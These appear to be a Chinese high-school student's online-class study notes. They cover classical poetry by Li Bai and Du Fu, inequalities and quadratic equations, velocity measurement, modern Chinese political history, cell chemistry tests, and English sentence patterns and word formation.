56岁兵败流放，中途遇赦
61岁再请从军，因病折回
62岁病逝当涤

用浪漫艺术追求理想人生，以不屈傲骨维护独立人格。

诗人为何花如此多的笔墨来描绘梦境呢?对表现主题有什么作用?

用浪漫主义手法，通过梦游，抒写了对山水名区和神仙世界的热烈向往，表现了作者鄙弃尘俗、蔑视权贵、追求自由的思想。梦中仙境象征作者追求的理想境界。写自己对山水名区和神仙世界的向往正是为了表明对黑暗现实的厌恶。也就是说，诗歌的前后是一致的，都是在写诗人对自由生活的向往，只是诗歌的前半部分用梦的形式曲折地表达出来，而后半部分诗人则是直抒胸臆，直接唱出:“ 且放白鹿青崖间，须行即骑访名山。安能摧眉折腰事权贵，使我不得开心颜!

拓展延伸

面对政治理想破灭却能坚守独立人格、同时具有蔑视权贵思想和傲岸不屈性格的诗人李白，你肯定想说的太多。请以“李白，我想对你说”这个句式写几句话来表达你的心声!

小结

李白“梦游”是通过一个离奇变幻、自由壮伟的极乐梦境表达自己对自由乐土的向往和对理想境界的热烈追求。神仙世界的五彩缤纷，反衬出人间社会的极端丑恶，诗人借此表达对黑暗现实的强烈不满和憎恶。也正是这种追求自由的内心要求，诗人蔑视权贵，唱出了时代的最强音。

登高

课前拓展——登高诗

所谓登高诗，即是诗人在登高时所作的诗歌，内容一般为登高见闻，借登高来抒发某种情感、志向。

登高诗常见的思想感情

一、登高怀人、客中思乡

独在异乡为异客，每逢佳节倍思亲。遥知兄弟登高处，遍插茱萸少一人王维《九月九日忆山东兄弟》

二、感怀伤时，表达个人的身世之悲。

前不见古人，后不见来者。念天地之悠悠，独怆然而涕下！陈子昂《登幽州台歌》

三、抒怀励志，鼓舞人心。

白日依山尽，黄河入海流。欲穷千里目，更上一层楼。王之涣《登鹳雀楼》

四、对人生价值的思考，

重在表达英雄失路，报国无门冯唐易老，李李“难封” 王勃《滕王阁序》

作者简介

杜甫，字子美，自号“少陵野老”。唐代伟大的现实主义诗人，与李白合称“李杜”。为了与另两位诗人**李商隐与杜牧即“小李杜”**区别，杜甫与李白又合称“大李杜”，杜甫也常被称为"老杜”。杜甫在中国古典诗歌中的影响非常深远，被后人称为“诗圣”，他的诗被称为“诗史”。杜甫创作了《春望》、《北征》、《三吏》、《三别》等名作。

杜甫的生活和创作大致可以分为四个时期: 1、读书壮游时期(712-745) ：《望岳》( 涉世不深） 2、困守长安时期(746-755) ：《丽人行》、《兵车行》（沉郁顿挫诗风形成） 3、陷贼与为官时期(756-759) ：（现实主义达到高峰）《春望》 “三吏”(《新安吏》《石壕吏》《潼关吏》) “三别”(《新婚别》《垂老别》《无家别》) 4、漂泊西南时期(759-770)：（思想更深邃诗风更沉郁）《蜀相》、《登高》、《茅屋为秋风所破歌》

作品

杜诗内容:忧国忧民 世上疮痍，诗中圣哲; 民间疾苦，笔底波澜。——郭沫若 杜诗风格:沉郁顿挫 沉郁，是感情的悲慨，壮大深厚; 顿挫，是感情表达的波浪起伏、反复低回。 感情基调:悲慨。

杜诗风格特色——沉郁顿挫

“沉郁”指思想内容。 “沉”即“深”，指内容的深刻、深广、深厚。 “郁”即“积”，指内容的真实、凝重、含蓄。 “顿挫”则指艺术形式。 字面上指遣词用句的停顿转折。情感的千回百折、节奏的徐疾相间、音调的抑扬顿挫、旋律的跌宕起落，形成了“顿挫”音乐美。

初读感知

写作背景

《登高》一诗作于唐代宗大历二年(767年)。当时诗人病卧夔州，身体的病痛、生活的艰辛、时局的动荡、兵乱的不断，使得诗人备受摧残。一年重阳节，杜甫独自登高，感慨万千，写下了这首即景伤怀的七言律诗。

诗句解析

这首诗给我们的总体感受是什么?

凄楚、悲伤、悲愤、孤独、沉郁。“悲”

颈联:万里悲秋常作客，百年多病独登台

宋代罗大经曾说颈联的十四个字中含有八层“悲”，仔细体味。

万里，地之远也; 秋，时之凄惨也; 作客，羁旅也; 常作客，久旅也; 百年，暮齿也; 多病，衰疾也; 独登台，孑jie然“孤”独; 重九登台，倍思乡亲

八重愁苦: 身逢战乱、 时值悲秋、 离乡万里、 漂泊他乡、 人到老年、 体弱多病、 孤独无依， 国家多难。

首联:风急天高猿啸哀，渚清沙白鸟飞回。

意象及特点:迅疾的秋风、高远的天空、哀鸣的猿啼、孤零冷落的小岛、水落而出的白沙、低飞盘旋的水鸟。

意境:雄浑高远,肃杀凄凉。

情感:孤独无依，漂泊痛苦。

颔联:无边落木萧萧下，不尽长江滚滚来

意象及特点:落木，落叶飘零，生命短暂长江，一泻千里，时间永恒 无边、不尽——不仅写出了空间的广漠，时间的永恒，更无处不含悲秋之气。

意境:苍凉、雄浑、沉郁而悲壮

情感:既感到人生短暂而渺小，历史悠远而不可逆转，因壮志未酬而产生惆怅;也会感到豁达、坦荡、胸襟开阔。

为什么咏“落木”而不用落叶? 木，树也。木叶即树叶。“木叶”文人喜好的传统意象。楚辞已有使用。“木” 字既有树叶的含义，又无树叶的繁密，浓郁之感，突显空阔、光秃的感觉，更符合作者对于秋的衰败、凋零的表达意图。落叶，树叶,使用频繁失去了语言的张力和诗歌要求的审美特征。

颔联用了哪些修辞手法?有何表达作用? 一是对偶，“无边落木”对“不尽长江”，使诗的意境显得广阔深远; “萧萧”的落叶声对“滚滚”的水势更使人觉得气象万千，写出了诗人韶华已逝却壮志未酬的无尽愁苦。对仗圆浑自然，不见斧凿之痕。二是叠字，“萧萧”“滚滚”，突出了树叶飘零和江水奔流不息的情形，使诗更生动形象，使人有身临其境之感，而且有韵律之美。

尾联:艰难苦恨繁霜鬓，潦倒新停浊酒杯。

尾联中“艰难”、“潦倒”二词形容的是国家还是个人?“苦恨”二字如何理解?这一联表现了作者怎样的思想境界?

有国家的艰难，又有个人的苦难。**国事艰难，壮志未酬，人生潦倒，销愁无途。**他既忧国，忧民，又忧已。客观上，“家亡”是因果关系;主观上，诗人一直忧国忧民，为国家破亡忧心如焚。

古代知识分子大多以“达则兼济天下，穷则独善其身”自勉，而杜甫无论穷达，都心忧天下，其思想境界之高，不愧被称为“诗圣”

总结

《登高》一诗，读罢尤觉"悲愁"铺天盖地，无一景不如此，无一语不如此。 ——王国维

自主探究

诗人在诗歌中表现了哪些方面的情感?
- 有对漂泊生涯的感叹，
- 有对老弱多病的嗟伤，
- 但也有对自然的热爱，
- 对生命的执着。
古今独步
怎样理解杜甫的悲秋?

杜甫的悲秋，将羁旅的愁思，家国的忧伤，身世的感慨融入萧瑟的秋景之中，显得更加沉郁厚重，所以他的诗歌特点是沉郁顿挫。

课堂小结

这首诗通过诗人登高的所见所闻所感，描绘了大江边的深秋景象，又有长年作客异乡的羁旅之愁，晚年多病的孤独之感，战争带来的国难家仇和日渐增多的白发，抒发了诗人对艰难身世的感慨，展现了一位穷困潦倒、漂泊无依、忧国忧民的诗人形象。

数学

不等式的基本性质

例题： $$ 已知1\leq a\leq8 ，2 \leq b \leq 6,求2a+3b,2a-3b,ab和{a\over b}的取值范围 $$ 例题答案：

例题变式： $$ 1 \leq a \leq 8,-2 \leq b \leq 6 ，求ab的取值范围 $$ 变式答案：

挑战思维： $$ 已知-4\leq a-b\leq -1,-1\leq 4a-b \leq 5,求a,b的取值范围再求9a-b的取值范围 $$ 答案：

习题： $$ 已知-1 \leq x+y \leq 3,4 \leq 2x-y \leq 9，则下列说法正确的是（）\ A. 1\leq x\leq 3\ B. -2\leq y \leq 1\ C. 2\leq 4x+y\leq 15\ D. {1\over 3}\leq x+y \leq {23 \over 3} $$ 习题答案：C

一元二次方程及其应用

一元二次方程的解法

配方法
公式法
因式分解法

一元二次方程根与系数的关系

一元二次方程$ax^2+bx+c=0(a\not= 0)$的两个根分别为$x_1,x_2$，则 $x_1+x_2=-{b\over a}$,$x_1x_2={c\over a}$

常见的轮换式：

(1)$x_1^2+x_2^2=(x_1+x_2)^2-2x_1x_2$ (2)${ {1\over x_1} + {1\over x_2} }={ {x_1+x_2}\over{x_1x_2} }$ (3)$(x_1-x_2)^2=(x_1+x_2)^2-4x_1x_2$ (4)$|x_2-x_1|=\sqrt{(x_1+x_2)^2-4x_1x_2}$ (5)$x_1^3+x_2^3=(x_1+x_2)(x_1^2-x_1x_2+x_2^2)\ =(x_1+x_2)[(x_1+x_2)^2-3x_1x_2]$

例题： $$ 若x_1,x_2是方程x^2+2x-2007=0的两个根，试求:\ (1)x_1^2+x_2^2\ (2){1\over x_1}+{1\over x_2}\ (3)(x_1-5)(x_2-5)\ (4)|x_1-x_2| $$ 答案：

习题 $$ 若关于x的方程x^2=2(1-m)x+m^2=0有两个实数根x_1,x_2，则x_1+x_2的取值范围是？ $$ 答案：

一元二次方程根的分布问题

设一元二次方程$ax^2+bx+c$(以a>0为例)的两个根分别为$x_1,x_2$

(1)$x_1，x_2同号\Leftrightarrow \begin{cases} △\geq 0\ x_1x_2>0 \end{cases}$ (2)$x_1,x_2异号\Leftrightarrow \begin{cases} △>0 \ x_1x_2<0 \end{cases}$ (3)$x_1>0,x_2>0\Leftrightarrow \begin{cases} △\geq 0\ x_1+x_2>0\ x_1x_2>0 \end{cases}$ (4)$x_1<0,x_2<0\Leftrightarrow \begin{cases} △\geq 0\ x_1+x_2<0\ x_1x_2>0 \end{cases}$ (5)$x_1>1,x_2>1\Rightarrow \begin{cases} △\geq0\ x_1+x_2>3\ x_1x_2>1 \end{cases}$ $x_1>1,x_2>1\not\Leftarrow \begin{cases} △\geq0\ x_1+x_2>3\ x_1x_2>1 \end{cases}$ $x_1>1,x_2>1\Leftrightarrow \begin{cases} △\geq0\ x_1+x_2>2\ (x_1-1)(x_2-1)>0 \end{cases}$ (6)$x_1<-1,x_2<-1\not\Leftrightarrow \begin{cases} △\geq0\ x_1+x_2<-2\ x_1x_2>1 \end{cases}$ $x_1<-1,x_2<-1\Leftrightarrow \begin{cases} △\geq0\ x_1+x_2<-2\ (x_1+1)(x_2+1)>0 \end{cases}$ (7)$0<x_1<1,0<x_2<1\Leftrightarrow \begin{cases} △\geq0\ 0<x_1+x_2<2\ x_1x_2>0\ (x_1-1)(x_2-1)>0 \end{cases}$ (8)$0<x_1<1,2<x_2<3\Leftrightarrow \begin{cases}x=0,y>0\ x=1,y<0\ x=2,y<0\ x=3,y>0 \end{cases}$

例题： $$ 关于x的方程x^2-tx+2-t=0，求下列问题的t的范围\ (1)两个根都大于1\ (2)一个根大于1，一个根小于1 $$ 答案：

练习题：

关于x的方程$x^2+ax+1-a=0$，求下列问题的取值范围： (1)两根都大于零 (2)两根都小于零 (3)两个根都大于2 (4)一个根大于1小于2，另一个根大于2小于3

【由于时间原因，并未讲解此习题】

物理

$V={△x\over △t}$

位置的变化快慢
单位时间内的位移
位移岁时间的变化率

作业讲解

【略】

速度的测量

两种打点计时器

电磁打点计时器

电火花计时器

打点计时器的使用

(1)固定打点计时器 (2)穿纸袋 (3)先启动电源，再拉纸袋，随后立刻关闭电源 (4)利用刻度尺从参考点测量位移数值，设计表格记录数据。

测量平均速度

已知打点计时器的打点时间间隔为△t=0.1s，如何测量纸带DG间的平均速度? $$ v={△x_{DG}\over △t_{DG} } $$

如何测量E,点的瞬时速度?

用DG间求出的平均速度代表E的瞬时速度是否准确?如何做更准确?

D、F两点离:E点越近，算出的平均速度越接近E点的瞬时速度。但D、F两点间距离过小，测量误差会增大，实际要根据需要及所用仪器的情况综合考虑

其他测量速度的方法

速度——时间图像

作图

(1)以时间t为横轴，速度v为纵轴建立平面直角坐标系

(2)描点

(3)拟合曲线

如果是一条直线,压在直线上点的个数尽可能多,分居在直线两边的点的个数基本相等,且对称。四图像反映了质点速度随时间的变化规律，称为速度——时间图像，又称v-t图像。

图像特点

认识图像

①匀速直线运动的速度图象是一条平行于时间轴的直线.

②变速直线运动的速度图象随时间而变化

③若图象位于时间轴的上方,表示物体运动方向与正方向相同;位于时间轴下方,表示物体运动方向与正方向相反。
斜率

①在数学一次函数y= kx+b所对应的图像中，用斜率.表示图线倾斜程度大小，公式中的K值即为直线的斜率。

②斜率的定义$k={△y\over △x}={ {y_2-y_1}\over{x_2-x_1} }$

③斜率的正负：
- ①若△y与△x同号时，即图线向上倾斜，斜率为正;
- ②若△y与△x异号时，即图线向下倾斜，斜率为负。
④x-t图像的斜率代表什么?

$k={△x\over △t}=v$

政治

新民主主义革命的胜利

中国为什么选择社会主义

近代中国为什么需要“救”?请举列谈一谈

近代中国的社会背景——半殖民地半封建社会，内忧外患！

为什么会这样?

外因：近代西方国家冲破封建制度的落网，取得日新月异的进步

鸦片战争开始侵略中国
内因：中国仍然处于日趋没落的封建统治下，经济、政治、文化都落后了

闭关自守，愚昧无知
国家赢弱，主权尽失，社会停滞落后，人民遭受压迫剥削，贫穷悲惨.......

要做什么(两大历史任务)

争取民族独立、人民解放
- 要推翻帝国主义、封建主义的统治
实现国家富强、人民幸福
- 改变贫穷落后的面貌

近代中国怎么“救”?——探索复兴之路的尝试。

近代中国资本主义道路是否能走通？中国该何去何从？

农民阶级 失败原因: ①农民阶级自身的局限性 ②中外反动势力的联合绞杀

地主阶级 失败原因: ①不彻底改革封建制度 ②内有顽固派掣肘，外有列强压迫入侵

资产阶级 失败原因: ①没有提出彻底的反帝反封建纲领 ②没有自己的武装力量

资本主义道路走不通的原因:近代中国的基本国情决定

悲怆的历史:近代中国探索复兴之路

国情:逐步沦为半殖民地半封建社会,陷入内忧外患的黑暗境地。
原因:内忧外患内忧:封建制度落后,加之长期闭关锁国,经济、政治、文化都落后外患:西方列强入侵,沦为半殖民地半封建社会
两大历史任务:民族独立、人民解放和国家富强、人民幸福
艰辛的探索及结论:在半殖民半封建的近代中国,资本主义道路行不通

近代中国资本主义道路走不通，中国该何去何从?

探究:我国新民主主义革命是如何取得胜利的？为什么？能够取得胜利？其性质、特点是什么?

梳理提升一一全面认识我国新民主主义革命

时间轴

新民主主义革命与社会主义革命的关系: ①新民主主义革命和社会主义革命相互联系,密不可分。 ②新民主主义革命是社会主义革命的必要准备,社会主义革命是新民主主义革命的必然趋势。 ③只有完成前一个革命才能完成后-个革命,这两个革命阶段相互衔接。

中华人民共和国成立的历史意义:

辞旧实现了中国从几千年的封建专制统治向人民民主的伟大飞跃，彻底结束了半殖民半封建社会的历史，使中华民族以崭新的姿态自立于世界民族之林迎新为实现由新民主主义向社会主义的过渡创造了条件，从根本上改变了中国社会的发展方向，为实现国家富强、民族复兴展示了美好前景和现实道路。对外冲破了帝国主义的东方战线，极大地改变了世界的政治力量对比，鼓舞和推动了世界被压迫民族和被压迫人民争取解放的斗争。

新民主主义革命的胜利成果:

中国走社会主义道路是中国近代历史发展的必然选择

课堂小结

生物

比较组成地壳和组成细胞的部分元素，你能提出什么问题?就自己所提出的问题与其他同学进行交流。

为什么组成地壳和细胞的各种元素的相对含量差异很大?
同种元素在地壳中和细胞中的含量并不相同，这意味着什么?
为什么某些植物中Si的含量会比较高?

生物所含元素都来自无机环境，为什么二者元素含量却大不相同？

生物体按照生命活动需要从外界有选择地吸收元素。

一、组成细胞的元素

讨论:

在玉米细胞和人体细胞中含量较多的四种元素一样吗? 怎样解释这种现象?

是一样的，均为C、H、O、N这四种元素含量最高，与组成细胞的化合物有关。
细胞中有些元素含量较少，是否意味着它们不重要?

否。含量虽少，但是是生物体生命活动所必需的化学元素。
比较组成玉米细胞和人体细胞中的元素种类和含量，你还能得出哪些结论?

①不同生物体内化学元素的种类基本相同。 ②不同生物体内同种化学元素的含量不同。 ③同一生物体内不同化学元素的含量不同。

组成细胞的元素

种类
- 细胞中常见的化学元素，大约有20多种
分类
- 按元素在生物体内含量分为
  - 大量元素C、H、0、N、P、S、K、Ca、Mg等
  - 微量元素: Fe、B、Cl、Mo、Zn、Mn等
来源
- 有选择地从无机自然界中吸收
存在
- 大多以化合物形式存在

组成细胞的某些元素的作用

N:组成蛋白质、核酸、叶绿素、ATP、NADPH等物质的组成成分 P:组成生物膜结构的重要成分，也是细胞许多化合物如ATP等的重要成分 K:使生长正常，保持肌肉功能正常，维持离子浓度平衡，调节体液渗透压等 Ca:骨骼、牙齿的组成成分，成年人缺Ca易患骨质疏松，人血液中缺钙容易患抽搐症 Mg:叶绿素的重要组分 Fe:血红蛋白、多种酶的重要组成成分，缺Fe会使人患贫血; Zn:缺使人发育受影响，导致发育不良; B (硼) :缺B导致开花而不结果实。

二、组成细胞的化合物

不同生物组织的细胞中各种化合物的含量相同吗?

梨的果实和叶片的细胞中所含化合物的种类和含量有什么明显的差别?

检测生物组织中的糖类、脂肪和蛋白质

(一)实验原理: 某些化学试剂能够使生物组织中的有关有机化合物产生特定的颜色反应。 ①还原糖+斐林试剂一>砖红色沉淀 ②脂肪+苏丹III染液一>橘黄色 ③蛋白质+双缩脲试剂→紫色

模拟题提示: 注意双缩脲≠双缩脲试剂

(二)材料用具

实验选材基本要求: ①符合实验要求 ②易获取的原则 ③不对实验结果产生干扰
试剂：

斐林试剂

甲液: 0. 1g/mL的Na0H溶液乙液: 0. 05g/mL的CuS02溶液 双缩脲试剂

A液: 0. 1g/mL的Na0H溶液 B液: 0. 01g/mL的CuS0,溶液 体积分数为50%的酒精溶液、蒸馏水

(三)方法步骤与现象

还原糖的检测和观察 **选材:**含糖量高、白色或近于白色的植物组织 **试剂:**斐林试剂(甲液:0.1g/ml的NaOH、乙液: 0. 05g/ml的CuS02) **制备样液:**制浆→过滤(一层纱布)→取液 **颜色反应:**注入2mL组织样液注入1mL刚配制好的斐林试剂振荡、混合摇匀呈现蓝色 50-65℃的温水变成砖红色 结论:组织样液含有还原糖
脂肪的鉴定

常用材料：花生子叶 试剂：苏丹III染液

取材：花生种子(浸泡)，将子叶切成薄片

制片：
- 取最薄的切片，放在载玻片中央
- 滴2~3滴苏丹III染液(染色3min)
- 去浮色：加1~2滴体积分数为50%的酒精溶液
- 制成临时装片:滴一滴蒸馏水，盖上盖玻片
观察：先低倍镜下找橘黄色颗粒，再高倍镜观察

结论：观察到橘黄色颗粒，证明有脂肪存在
蛋白质的鉴定

常用材料：鸡蛋清，黄豆组织样液，牛奶试剂: 双缩脲试剂( A液: 0.1g/ml的NaOH，B液: 0.01g/ml的CuSO4 )

选材：含蛋白质丰富的豆浆或鸡蛋清溶液。 制备样液：黄豆浆滤液或蛋清稀释液呈色反应：
- 组织样液2mL
- 双缩脲试剂 A液1mL
- 双缩脲试剂 B液4滴
 
 先A后B (次序不可颠倒)
 
 摇匀后变成紫色
- 结论：组织样液中存在蛋白质。
碱性条件下，$Cu^{2+}$能够与蛋白质形成紫色络合物

斐林试剂与双缩脲试剂的比较

注意：

常见的还原糖:葡萄糖、果糖、乳糖、半乳糖、麦芽糖等；非还原糖:淀粉、蔗糖等
还原糖鉴定需水浴加热的原因
- 严格控制温度，温度一旦过高，会生成CuO沉淀(黑色)
- 安全
  - A、防止试管炸裂
  - B、防止液体喷出伤人
显色反应一定要考虑所用材料的颜色?一防止干扰反应显色
该组试验中：唯一加热的是还原糖鉴定，唯一用到显微镜和酒精的是脂肪鉴定

课堂小结

组成细胞的元素都是无机自然界所具有的。
组成细胞的化学元素常见的有20多种, C、H、O、N的含量最多。
元素可以组成不同的化合物,包括水、无机盐等无机物，糖类、脂质、蛋白质、核酸等有机物。

物质鉴定的原理

判断对错

细胞是物质的。对
生物界和非生物界的元素种类具有差异性，元素含量具有统一性。错
细胞内最基本的元素是C。对
组成细胞的元素大多数以化合物的形式存在。对
所有的糖类都可以用斐林试剂检测。错
用双缩尿试剂鉴定蛋白质时,需要加热。错

<h1 style="font-size:20px">【今日网课结束】</h1>

学习笔记丨网课第六天

Thu, 08 Sep 2022 00:00:00 GMT

开学第六课

英语

句子分类

按句子用途分

(1)陈述句(肯定、否定)，用以陈述事实。

(2)疑问句 (一般、特殊、选择、反意)，用以提出问题。

(3)祈使句，用以表示命令，请求等。

(4)感叹句，用以表示各种强烈的感情。

按句子结构分

(1)简单句:只有一个主语(或并列主语)和一个谓语(或并列公谓语)。

(2)并列句:由并列连词(and, but, or, not only...but also....neither...no...等)或分号(; )把两个或两个以上的简单句连在一起构成。

(3)复合句:含有一个或一个以上从句的句子。复合句包含:名词性从句(主语从句、宾语从句、表语从句和同位语从句)、定语从句和状语从句等。

句子综合练习

（一）判断下列句子是简单句、并列句还是复合句

We often study Chinese history on Friday afternoon. 简单句
The boy who offered me his seat is called Tom. 复合句
There is a chair in this room, isn't there? 简单句
My brother and I go to school at half past seven in the morning and come back home at seven in the evening. 简单句
He is in Class One and I am in Class Two. 并列句
He was fond of drawing when he was yet a child. 复合句
Neither has he changed his mind, nor will he do so. 并列句
What he said at the meeting is very important, isn't it? 复合句
The farmer is showing the boy how to plant a tree. 简单句
Both Tom and Jack enjoy country music. 简单句

简单句的五种基本句型

主+谓 主+谓+宾 主+系+表 主+谓+宾+宾补 主+谓+间接宾语+直接宾语

特殊句型：There be

主+系+表

Our teacher of English is an American.
Is it yours?
The weather has turned cold.
The speech is exciting. .
Three times(介) seven is twenty one.
His job is to teach English.
His hobby is playing football.
The machine must be out of order.
Time is up. The class is over.
The truth is that he has never been abroad.

练习题：

He looks well.他面色好。 It sounds nice.这个听起来不错。 I feel good.我感觉好。 Silk feels smooth.丝绸摸起来很光滑。 The egg smells bad.这个鸡蛋难闻。 The dish tastes delicious.这道菜吃起来很美味。 He has become a writer.他已经成为一名作家。 The problem, remains unsolved. 那个问题仍未解决。 He always keeps silent at meeting.他开会时总保持沉默。 His theory proves to be correct. 他的理论证明是正确的。

表语是表示主语的身份、特征和状态。

常见的系动词

(1)状态系动词只有be动词，用来表示主语状态

(2)持续系动词用来表示主语继续或保持一种状态或态度，主要有keep、remian、stay、lie、stand。

(3)表像系动词用来表示“看起来像”这一概念，主要有seem、appear、look。

(4)感官系动词感官系动词主要有look“看起来”、feel“摸起来”、smell“”

(5)变化系动词这些系动词表示主语变成什么样。变化系动词主要有become 、grow、turn、fall、get、go、come、run。

(6)终止系动词表示主语已终止的动作，主要有prove、turn、out，表示“证实；结果是”

主+谓

e.g. She cried. It rained. Nothing happened. The snake disappeared.

主+谓+宾

e.g. Henry bought a dictionary yesterday. I enjoy sports. He looks after his little daughter on Sundays

主+谓+间接宾语+直接宾语

人一般是间接宾语，可以记忆为贱（间）人

e.g. My father bought me a new bike. = My father bought a new bike for me. Will you please choose me a better one? = Will you please choose a better one for me? I'll give you a new dictionary. = I'll give a new dictionary to you.

主+谓+宾语+宾补

e.g. Tom made the baby laugh. (动词作宾语补足语) His father named him Dongming. (名词作宾语补足语) They painted their boat white. (形容词作宾语补足语) Let the fresh air in. (副词作宾语补足语) You mustn't force him to lend his money to you. (不定式短语作宾语补足语) We saw her entering the room. (现在分词作宾语补足语) We found everything in the lab in good order. (介词短语作宾语补足语) We will soon make our city what your city is now. (句子作宾语补足语)

注意：比较双宾语和复合宾语的关系你会发现：双宾语之间是没有逻辑关系的，而复合宾语之间具有主语和表语的关系或主语和谓语的关系。

习题练习

判断下面句子是那种简单句的句型

Every second matters. 主+谓
I am a teacher. 主+系+表
You have many new books. 主+谓+宾
He gives me some money. 主+谓+间接宾语+直接宾语
They painted the wall white. 主+谓+宾+宾补
The machine doesn't work. 主+谓
He is an honest student. 主+系+表
The silk feels soft. 主+系+表
I have a lot of friends here. 主+谓+宾
Tom lent me 200 dollars. 主+谓+间接宾语+直接宾语
I saw him writing a letter. 主+谓+宾+宾补
I find maths difficult. 主+谓+宾+宾补
We call her Lily. 主+谓+宾+宾补
Father asked me to turn off the TV. 主+谓+宾+宾补

作业讲解

passage 5

para 1

The first time I saw her, she was silent and cold.
The first time I spoke English before foreigners, I was a student of high school.
The policeman at the crossroads will give me a big smile every time I meet him

“一...就”(as soon as )

I was sorry the moment I saw her fall off the tree.
I recognized her the minute/the instant I saw her.
Please call me instantly/immediately/directly you arrive at home. .

名副词短语充当连词

para 2

But try as I might, nothing worked.
不管我怎么努力,都不奏效。
Try as she might, she couldn't get the door open.

para4

l also told her that every day was a battle for me and that I fought back tears so people wouldn't know how much I was hurting.

para5

She sat there just listening, trying to decide whether I was lying or not.

And then she did the unthinkable.
= What she did then was unthinkable.

para 6

Looking back at this, I'm in awe, because all I did was to help her realize that she was not alone.
Looking back at this,I'm in awe, because alll did was to help her realize that she was not alone.
All (that) I did was to help her realize that she was not a lone.

passage7

para 3

We were very excited at the thought of going to see the lions .

para 4

Anyway, we went on our way to the lions' place where we had to lock ourselves in the car as we knew lions could be dangerous .

passage 8

para 3

I am afraid the stone will re bound and hurt you as long as you live !

para 7

For fifty years I have still remembered it thought I have never spoken of it before.
But if what l have told you will stop you, I will be happy.

构词法

转换法

在英语中，一个单词由-种词性转化为另种或几种词性而词形不变的方法叫做转化法。

They are only allowed to sell soft drinks at school.
He shouldered his way through the crowd.
The smell from the kitchen made his mouth water.
We will try our best to better our living conditions.
He didn't know the difference between right and wrong.
Warm clothes are a must in the mountains.
Life is full of ups and downs.
His argument contains too many ifs and buts.

合成法

由两个或两个以上的单词连在一起合成一个新词，这种构词法叫做合成法，合成的词叫做合成词。合成词一般看其词，知其意。

合成名词
- blood-test she-wolf daybreak greenhouse breakthrough sister-in-law
合成形容词
- world-famous man-made English-speaking hardworking ten-year-old face-to-face
合成动词
- baby-sit sleepwalk
合成副词
- meanwhile anyway however
合成代词
- herself anything
合成介词
- inside outside without

派生法

由一个词加上前缀或后缀构成一个与原单词意义相近或截然相反的新词叫做派生法。

前缀除少数前缀外，前缀一般改变单词的意义，但不改变单词的词性。 (1) 表示否定意义的前缀
- un- unhappy unfinished undress
- dis- disagree disbelieve
- in- [il-(在字母前)， im- (在字母m,b,p前)，ir- (在字母r前)] inaccurate illegal impolite imbalance irregular
- mis- misbehave mislead misunderstand
- non- nonstop nonsmoker
(2)表示其他意义的前缀
- en- “使....”enrich enlarge encourage
- inter-“ 相互”international intercontinental
- re-“再，又，重”rethink retell recycle
- tele-“ 远程的”telescope telephone telegraph
- auto-“ 自动的”automatic automobile
- co-“共同”coworker cooperate coexist
- anti-“反对，抵抗”antiwar antibody antinuclear
- multi-“多”multistory multicultural multicolor
- bi-“双，二”bicycle biweekly
- micro-“ 极小的，微小的”microwave, microcomputer
- lover-“ 太多，过分”overwork overdo overestimate
- self-“自己，本身”self-centered self confident self-control
- under-“ .....面，......下的，不足的”underline,underground, underestimate
- sub-“..... 以下”subway, subtitle
- eco-“环境的，生态的”eco-friendly， ecotourism
后缀

(1)形容词后缀
- -able “ ......，具.....的”acceptable drinkable knowledgeable reasonable
- -al “..... 关的”physical, magical, political
- -an‘“属于某地方的人”American African
- -ern方向”southern, northern, eastern
- -ful/ less‘(没) ....的”helpful, useful,homeless, hopeless
- -ish “如....的; .....特征的”foolish childishselfish
- -ive“....倾向的 ”active attractive expensive
- -en“ .....成的”golden wooden woolen
- -ous “有(性质) 的”famous, dangerous, poisonous
- -ly“....性质的”friendly yearly daily
- -x“构成形容词”noisy dusty cloudy
(2)名词后缀
- -er/or“表人或用具”farmer, baker, professor, cooker, container
- -ese“某国(人)的”Chinese, Japanese
- -ian“某国、某地人:精....的人”musician, Asian, Russian,technician
- -ist“ 某种主义或职业者”physicist, scientist, socialist
- -ess“表女性，雌性”hostess, actress, princess
- -ment“行为或其状态”government, movement, achievement
- -ness“性质，状态”ilness, sadness, carelessness
- -tion“动作，过程，结果”invention, organization, translation
- -ance/ ence“抽象; 行为、性质、状态”importance, appearance,absence, existence
- -th“性质、情况”depth, warmth, truth
- -ful“ (满的)量”handful, spoonful, mouthful
- -(a)bility“ 抽象、性质、状态”possibilit, disability,reliability
- -al“过程、状态”survival, arrival, approval
- -y“性质、情况”modesty, delivery, honesty
- -dom“处.....状态: 性质”freedom, boredom
- -age“状态，行为，身份及其结果”courage, storage, marriage
(3)动词后缀
- -fy/ify“使得; 变得”simplify, beautify, purify
- -en “使成为;变得”shorten, deepen, sadden
- -ize “使成为” apologize, realize, specialize
(4)副词后缀
- -ly“方式，程度”freely, truly, angrily
- -ward(s)“ 向....”.. towards, forward, upwards
(5)数词后缀
- -teen “十几” fourteen, eighteen, thirteen
- -ty‘整十位数”forty, fifty, sixty
- -th“序数词”twelfth, twentieth

数学

不等式及其性质

不等式及其原理

不等式的定义：用不等号连接的数学式子

不等式的原理：$a-b>0\Leftrightarrow a>b\a-b=0\Leftrightarrow a=b\a-b<0\Leftrightarrow a<b$

不等式的基本性质

对称性：$a>b\Leftrightarrow b<a$
传递性：$a>b,b>c,\Rightarrow a>c$

$a<b,b<c,\Rightarrow a<c$ $a<b,b>c,\not\Rightarrow a<c$

思考1：$a>c \Rightarrow a>b,b>c$成立吗

不成立
可加性：

(1)$a>b\Leftrightarrow a+c>b+c$

(2)同向可加性：$a>b,c>d \Rightarrow a+c>b+d$

思考2：$a+c>b+c \Rightarrow a>b,c>d$成立吗

不成立

思考3：$a>b,c<d,\Rightarrow a+c>b+d$成立吗

不成立

思考4：$a>b,c>d \Rightarrow a-c>b-d$成立吗

不成立
可乘性：

(1)$a>b,c>0 \Rightarrow ac>bc$

$a>b,c<0 \Rightarrow ac<bc$

思考5：$ac>bc \Rightarrow a>b,c>0$成立吗

$ac<bc \Rightarrow a>b,c<0$成立吗

不成立

【倒数法则】

思考6：$a>b,ab>0\Rightarrow {1\over a}<{1\over b}$成立吗

成立

思考7：${1\over a}<{1\over b}\Rightarrow a>b,ab>0$成立吗

不成立

(2)同向同正可乘性

$a>b>0,c>d>0\Rightarrow ac>bd>0$

思考8：$a>b,c>d\Rightarrow ac>bd$成立吗

不成立

思考9：$a>b>0,0<c<d \Rightarrow ac>bd$成立吗

不成立

思考10：$ac>bd>0 \Rightarrow a>b>0,c>d>0$成立吗

不成立

思考11：$a>b>0,c>d>0 \Rightarrow {a \over c}>{b \over d}$成立吗

不成立
乘方性：

$a>b>0 \Rightarrow a^nb^n(n \in N^*,n\geq 2)$

思考12：$a^n>b^n(n \in N^*,n\geq 2)\Rightarrow a>b>o$成立吗

不成立
